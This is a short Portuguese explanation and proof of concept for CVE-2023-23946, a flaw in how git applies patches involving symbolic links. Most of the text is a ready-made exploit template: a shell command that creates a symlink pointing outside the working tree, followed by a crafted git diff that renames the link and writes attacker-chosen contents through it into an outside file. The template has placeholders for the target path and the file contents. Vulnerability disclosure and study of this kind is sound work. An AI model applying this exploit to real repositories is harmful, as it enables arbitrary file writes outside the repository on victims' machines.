
Explicação e POC do CVE-2023-23946
Explicação e POC do CVE-2023-23946
A vulnerabilidade CVE-2023-23946 é causada por uma falha na forma como o git lida com links simbólicos. Quando o git cria um link simbólico, ele não o trata como um link simbólico e, por causa disso, podemos explorá-lo para apontar para arquivos fora da árvore de trabalho.
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
O que o patch faz? Nós alteramos o nome do link simbólico existente e criamos um novo arquivo. Desta forma, quando modificamos /newsymlink/[FILE_OUTSIDE] o git não aplica suas proteções contra links simbólicos.